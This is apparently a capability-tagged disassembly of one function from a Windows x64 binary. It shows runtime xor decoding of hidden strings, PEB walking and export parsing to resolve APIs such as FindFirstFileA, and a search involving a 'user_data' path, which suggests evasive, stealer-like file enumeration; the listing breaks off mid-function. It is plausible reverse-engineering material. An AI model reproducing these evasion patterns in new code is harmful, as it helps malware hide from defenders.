Function at 0x14003e8a0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Get kernel32 base address
Get process filename
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x340]
sub rsp, 0x440
mov rax, qword [0x140181020]
xor rax, rsp
mov qword [rbp + 0x330], rax
mov r14, r8
mov qword [rbp - 0x68], r8
mov qword [rbp - 0x10], rdx
mov qword [rbp + 0x130], r8
xor r15d, r15d
mov dword [rsp + 0x40], r15d
mov rax, qword [0x1401875b8]
mov qword [rbp - 8], rax
mov cl, 0x12
mov byte [rbp + 0x190], cl
mov word [rbp + 0x1c0], 0x384e
xor eax, eax
mov byte [rbp + 0x1c2], al
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003e929
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003e938
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rbp + 0x194]
mov esi, 8
mov r10d, esi
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14003e951
mov eax, 2
nop
inc eax
test al, 0xf
jne 0x14003e9a0
mov qword [0x140187190], r15
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x14003e9cb
mov rbx, r15
jmp 0x14003ea0d
mov dword [0x14018719c], edi
mov dword [0x140187198], 2
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
movzx eax, word [rbp + 0x1c0]
mov word [rbx + 8], ax
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rbp + 0x194]
mov r8b, 1
call fcn.140052470
mov qword [rbp + 0x1b8], rbx
movsx ebx, byte [rbp + 0x190]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003ea33
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003ea42
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rbp + 0x194]
mov r10, rsi
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14003ea60
mov r9d, dword [0x14018719c]
lea r8, [rbp + 0x194]
mov rdx, qword [rbp + 0x1b8]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x14003ead0
mov rdx, r15
jmp 0x14003eae0
movzx eax, byte [rbp + 0x190]
xor byte [rdx], al
xor byte [rdx + 1], al
mov byte [rdx + 2], 0
mov r8, qword [r14 + 0x10]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rdx + rcx], 0
jne 0x14003eaf0
movabs rax, 0x7fffffffffffffff
sub rax, r8
cmp rax, rcx
jb 0x140040439
mov r9, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14003eb1c
mov r9, qword [r14]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r8
lea rcx, [rbp + 0x1d0]
call fcn.140025d40
mov dword [rsp + 0x40], 0x200
lea r12, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae r12, qword [rbp + 0x1d0]
lea rdx, str.FindFirstFileA
lea rcx, [rbp + 0xf0]
call fcn.140034390
mov rcx, rax
call fcn.14001d820
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov eax, 0x5a4d
cmp qword [rdi + 0x60], 0
je 0x14003ec62
xor r13d, r13d
nop dword [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14003ec55
cmp word [r11], ax
jne 0x14003ec5f
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14003ec5f
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14003ec5f
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, r13d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14003ec50
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14003ec44
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14003ec3f
cmp byte [rcx], al
jne 0x14003ec44
mov r8b, 1
inc rcx
cmp byte [rcx], r13b
jne 0x14003ec14
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r15d, r15d
jmp 0x14003ec65
test r8b, r8b
jne 0x14003ec2b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14003ec00
mov eax, 0x5a4d
cmp qword [rdi + 0x60], r13
jne 0x14003eba0
xor r15d, r15d
mov rax, r15
lea rdx, [rbp + 0x1f0]
mov rcx, r12
call rax
mov qword [rbp], rax
cmp rax, 0xffffffffffffffff
jne 0x14003ec98
lea rcx, [rbp + 0x1d0]
call fcn.140005a50
nop
mov rcx, qword [rbp - 0x68]
call fcn.140005a50
xor al, al
jmp 0x140040409
mov r13d, 8
nop
mov esi, dword [rsp + 0x40]
or esi, 1
lea rdx, [0x14015f230]
lea rcx, [rsp + 0x50]
call fcn.140029940
mov rcx, rax
call fcn.14001c7f0
lea rcx, [rbp + 0x21c]
sub rax, rcx
nop word [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x14003ece4
inc rcx
test edx, edx
jne 0x14003ecd0
test r8d, r8d
je 0x14003ed2e
or esi, 2
lea rdx, [0x14015f234]
lea rcx, [rbp + 0x138]
call fcn.140040a00
mov rcx, rax
call fcn.14001cad0
lea rcx, [rbp + 0x21c]
sub rax, rcx
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x14003ed25
inc rcx
test edx, edx
jne 0x14003ed11
test r8d, r8d
je 0x14003ed2e
xor al, al
jmp 0x14003ed30
mov al, 1
test sil, 2
je 0x14003ed39
and esi, 0xfffffffd
and esi, 0xfffffffe
mov dword [rsp + 0x40], esi
test al, al
jne 0x14003ff13
mov cl, 0x1d
mov byte [rbp + 0x138], cl
mov word [rbp + 0x168], 0x41
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003ed74
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003ed83
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rbp + 0x13c]
mov r10, r13
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14003eda0
mov eax, 1
nop dword [rax + rax]
inc eax
test al, 0xf
jne 0x14003edf0
mov qword [0x140187190], r15
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x14003ee1b
mov rbx, r15
jmp 0x14003ee5c
mov dword [0x14018719c], edi
mov dword [0x140187198], 1
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
movzx eax, byte [rbp + 0x168]
mov byte [rbx + 8], al
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rbp + 0x13c]
mov r8b, 1
call fcn.140052470
mov qword [rbp + 0x160], rbx
movsx ebx, byte [rbp + 0x138]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003ee82
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003ee91
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rbp + 0x13c]
mov r10, r13
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14003eeb0
mov r9d, dword [0x14018719c]
lea r8, [rbp + 0x13c]
mov rdx, qword [rbp + 0x160]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x14003ef20
mov rdx, r15
jmp 0x14003ef2d
movzx eax, byte [rbp + 0x138]
xor byte [rdx], al
mov byte [rdx + 1], 0
mov r10, qword [rbp - 0x68]
mov r8, qword [r10 + 0x10]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rdx + rcx], 0
jne 0x14003ef40
movabs rax, 0x7fffffffffffffff
sub rax, r8
cmp rax, rcx
jb 0x140040433
mov r9, r10
cmp qword [r10 + 0x18], 0x10
jb 0x14003ef6c
mov r9, qword [r10]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0x50]
call fcn.140025d40
or esi, 0x20
lea rdx, [rbp + 0x21c]
lea rcx, [rsp + 0x50]
call fcn.140005750
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or esi, 0x40
mov dword [rsp + 0x40], esi
lea rcx, [rsp + 0x50]
call fcn.140005a50
xorps xmm0, xmm0
test byte [rbp + 0x1f0], 0x10
je 0x14003f597
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x188], r15
lea rax, [rbp + 0x21c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003f010
lea rdx, [rbp + 0x21c]
lea rcx, [rbp + 0x170]
call fcn.140005e70
nop
or esi, 4
mov cl, 0x2a
mov byte [rsp + 0x50], cl
mov dword [rbp - 0x80], 0x5a475f4e
mov word [rbp - 0x7c], 0x59
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003f05f
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003f06e
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rsp + 0x54]
mov r10, r13
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14003f080
mov eax, 5
nop dword [rax + rax]
inc eax
test al, 0xf
jne 0x14003f0d0
mov qword [0x140187190], r15
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x14003f0fb
mov rbx, r15
jmp 0x14003f13d
mov dword [0x14018719c], edi
mov dword [0x140187198], 5
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
mov eax, dword [rbp - 0x80]
mov dword [rbx + 8], eax
movzx eax, byte [rbp - 0x7c]
mov byte [rbx + 0xc], al
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rsp + 0x54]
mov r8b, 1
call fcn.140052470
mov qword [rsp + 0x78], rbx
movsx ebx, byte [rsp + 0x50]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003f15f
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003f16e
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rsp + 0x54]
mov r10, r13
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14003f180
mov r9d, dword [0x14018719c]
lea r8, [rsp + 0x54]
mov rdx, qword [rsp + 0x78]
call fcn.1400525a0
mov r9, rax
test rax, rax
jne 0x14003f1f0
mov r9, r15
jmp 0x14003f20d
movzx eax, byte [rsp + 0x50]
xor byte [r9], al
xor byte [r9 + 1], al
xor byte [r9 + 2], al
xor byte [r9 + 3], al
xor byte [r9 + 4], al
mov byte [r9 + 5], 0
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r9 + rax], 0
jne 0x14003f214
lea rcx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae rcx, qword [rbp + 0x170]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x180]
call fcn.140025820
cmp rax, 0xffffffffffffffff
jne 0x14003f4f4
or esi, 8
mov cl, 6
mov byte [rbp + 0x138], cl
mov dword [rbp + 0x168], 0x6c696b63
mov word [rbp + 0x16c], 0x6f
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003f28c
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003f29b
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rbp + 0x13c]
mov r10, r13
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14003f2b0
mov eax, 5
nop dword [rax + rax]
inc eax
test al, 0xf
jne 0x14003f300
mov qword [0x140187190], r15
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x14003f32b
mov rbx, r15
jmp 0x14003f375
mov dword [0x14018719c], edi
mov dword [0x140187198], 5
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
mov eax, dword [rbp + 0x168]
mov dword [rbx + 8], eax
movzx eax, byte [rbp + 0x16c]
mov byte [rbx + 0xc], al
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rbp + 0x13c]
mov r8b, 1
call fcn.140052470
mov qword [rbp + 0x160], rbx
movsx ebx, byte [rbp + 0x138]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003f39b
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003f3aa
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rbp + 0x13c]
mov r10, r13
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14003f3c0
mov r9d, dword [0x14018719c]
lea r8, [rbp + 0x13c]
mov rdx, qword [rbp + 0x160]
call fcn.1400525a0
mov r9, rax
test rax, rax
jne 0x14003f430
mov r9, r15
jmp 0x14003f44f
movzx eax, byte [rbp + 0x138]
xor byte [r9], al
xor byte [r9 + 1], al
xor byte [r9 + 2], al
xor byte [r9 + 3], al
xor byte [r9 + 4], al
mov byte [r9 + 5], 0
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r9 + rax], 0
jne 0x14003f456
lea rcx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae rcx, qword [rbp + 0x170]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x180]
call fcn.140025820
cmp rax, 0xffffffffffffffff
jne 0x14003f4f4
or esi, 0x10
lea rdx, str.user_data
lea rcx, [rbp + 0x10]
call fcn.140040b50
mov rcx, rax
call fcn.14001c8d0
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x14003f4b3
lea rcx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae rcx, qword [rbp + 0x170]
mov qword [rsp + 0x20], rdx
mov r9, rax
xor r8d, r8d
mov rdx, qword [rbp + 0x180]
call fcn.140025820
cmp rax, 0xffffffffffffffff
jne 0x14003f4f4
mov al, 1
jmp 0x14003f4f6
xor al, al
test sil, 0x10
je 0x14003f4ff
and esi, 0xffffffef
test sil, 8
je 0x14003f508
and esi, 0xfffffff7
and esi, 0xfffffffb
mov dword [rsp + 0x40], esi
test al, al
je 0x14003f586
lea rax, [rsp + 0x50]
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
lea rax, [rbp + 0x21c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003f540
lea rdx, [rbp + 0x21c]
lea rcx, [rsp + 0x50]
call fcn.140005e70
nop
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x138]
call fcn.140005930
nop
lea r9, [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
call fcn.14003ced0
nop
lea rcx, [rbp + 0x170]
call fcn.140005a50
jmp 0x14003ff07
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], r15
mov qword [rbp + 0x150], r15
xor r8d, r8d
lea rdx, [0x14015f218]
lea rcx, [rbp + 0x138]
call fcn.140005e70
nop
mov cl, 8
mov byte [rsp + 0x50], cl
mov dword [rbp - 0x80], 0x6d646d5c
mov dword [rbp - 0x7c], 0x65697a6f
mov word [rbp - 0x78], 0x54
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003f5f8
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003f607
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rsp + 0x54]
mov r10, r13
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14003f620
mov eax, 9
nop dword [rax]
inc eax
test al, 0xf
jne 0x14003f670
mov qword [0x140187190], r15
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x14003f69b
mov rbx, r15
jmp 0x14003f6e1
mov dword [0x14018719c], edi
mov dword [0x140187198], 9
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
movsd xmm0, qword [rbp - 0x80]
movsd qword [rbx + 8], xmm0
movzx eax, byte [rbp - 0x78]
mov byte [rbx + 0x10], al
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rsp + 0x54]
mov r8b, 1
call fcn.140052470
mov qword [rsp + 0x78], rbx
movsx ebx, byte [rsp + 0x50]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003f703
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003f712
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rsp + 0x54]
mov r10, r13
nop dword [rax]
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x14003f730
mov r9d, dword [0x14018719c]
lea r8, [rsp + 0x54]
mov rdx, qword [rsp + 0x78]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x14003f7a0
mov rdx, r15
jmp 0x14003f7c3
movzx eax, byte [rsp + 0x50]
xor byte [rdx], al
xor byte [rdx + 1], al
xor byte [rdx + 2], al
xor byte [rdx + 3], al
xor byte [rdx + 4], al
xor byte [rdx + 5], al
xor byte [rdx + 6], al
xor byte [rdx + 7], al
xor byte [rdx + 8], al
mov byte [rdx + 9], 0
lea rcx, [rbp + 0x138]
call fcn.140005750
lea rdx, [rbp + 0x21c]
lea rcx, [rbp + 0x138]
call fcn.140005750
lea rdx, [rbp + 0x190]
movups xmm0, xmmword [rbp - 0x60]
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, qword [rbp + 0x170]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], r15
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14003f820
lea rcx, [rbp - 0x50]
call fcn.140005e70
lea rax, [rbp - 0x50]
mov qword [rbp - 0x70], rax
lea r13, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae r13, qword [rbp - 0x50]
lea rcx, [rbp + 0x50]
call fcn.140040450
mov rcx, rax
call fcn.14001d6f0
mov r14, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
cmp qword [rsi + 0x60], 0
je 0x14003f948
nop dword [rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x14003f93a
mov ebx, 0x5a4d
cmp word [r11], bx
jne 0x14003fa8e
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14003fa8e
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14003fa8e
lea rax, [r11 + rcx]
mov r15d, dword [rax + 0x1c]
add r15, r11
mov edi, dword [rax + 0x20]
add rdi, r11
mov r12d, dword [rax + 0x24]
add r12, r11
xor ecx, ecx
mov r10d, ecx
mov r9d, ecx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14003f93a
nop dword [rax + rax]
xor dl, dl
mov ecx, dword [rdi + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x14003f92f
mov r8, r14
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x14003f92b
cmp byte [rcx], al
jne 0x14003f92f
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x14003f903
movzx eax, word [r12 + r9*2]
mov r10d, dword [r15 + rax*4]
add r10, r11
xor r15d, r15d
jmp 0x14003f94b
test dl, dl
jne 0x14003f91a
inc r10d
inc r9
cmp r10d, ebx
jb 0x14003f8f0
cmp qword [rsi + 0x60], 0
jne 0x14003f880
xor r15d, r15d
mov r10, r15
mov ebx, 0x5a4d
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r9d, 0xffffffff
mov r8, r13
xor edx, edx
mov ecx, 0xfde9
call r10
mov dword [rsp + 0x44], eax
xor r8d, r8d
movsxd rdx, eax
lea rcx, [rsp + 0x50]
call fcn.14001e3a0
or dword [rsp + 0x40], 0x80
lea r13, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r13, qword [rsp + 0x50]
lea rax, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rax, qword [rbp - 0x50]
mov qword [rbp - 0x60], rax
lea rcx, [rbp + 0xa0]
call fcn.1400405c0
mov rcx, rax
call fcn.14001d6f0
mov r12, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
cmp qword [rsi + 0x60], 0
je 0x14003fac4
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x14003faa8
cmp word [r11], bx
jne 0x14003fab9
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14003fab9
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14003fab9
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov edi, dword [rax + 0x20]
add rdi, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor ecx, ecx
mov r10d, ecx
mov r9d, ecx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14003faa8
xor dl, dl
mov ecx, dword [rdi + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x14003fa9d
mov r8, r12
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x14003fa99
cmp byte [rcx], al
jne 0x14003fa9d
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x14003fa66
movzx eax, word [r15 + r9*2]
mov r10d, dword [r14 + rax*4]
add r10, r11
xor r15d, r15d
jmp 0x14003fac7
xor r15d, r15d
mov r10d, r15d
jmp 0x14003f950
test dl, dl
jne 0x14003fa7d
inc r10d
inc r9
cmp r10d, ebx
jb 0x14003fa53
cmp qword [rsi + 0x60], 0
je 0x14003fac1
mov ebx, 0x5a4d
jmp 0x14003f9f0
xor r15d, r15d
mov r10d, r15d
jmp 0x14003facc
xor r15d, r15d
mov r10, r15
mov ebx, 0x5a4d
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r13
mov r9d, 0xffffffff
mov r8, qword [rbp - 0x60]
xor edx, edx
mov ecx, 0xfde9
call r10
nop
lea rcx, [rbp - 0x50]
call fcn.140005a50
lea rax, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rax, qword [rsp + 0x50]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x138]
cmp qword [rbp + 0x150], 0x10
cmovae rdx, qword [rbp + 0x138]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r15
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14003fb40
lea rcx, [rbp - 0x30]
call fcn.140005e70
lea rax, [rbp - 0x30]
mov qword [rbp + 0x170], rax
lea r13, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae r13, qword [rbp - 0x30]
lea rcx, [rbp + 0xa0]
call fcn.140040450
mov rcx, rax
call fcn.14001d6f0
mov r14, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
cmp qword [rsi + 0x60], 0
je 0x14003fc79
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x14003fc5d
cmp word [r11], bx
jne 0x14003fc6e
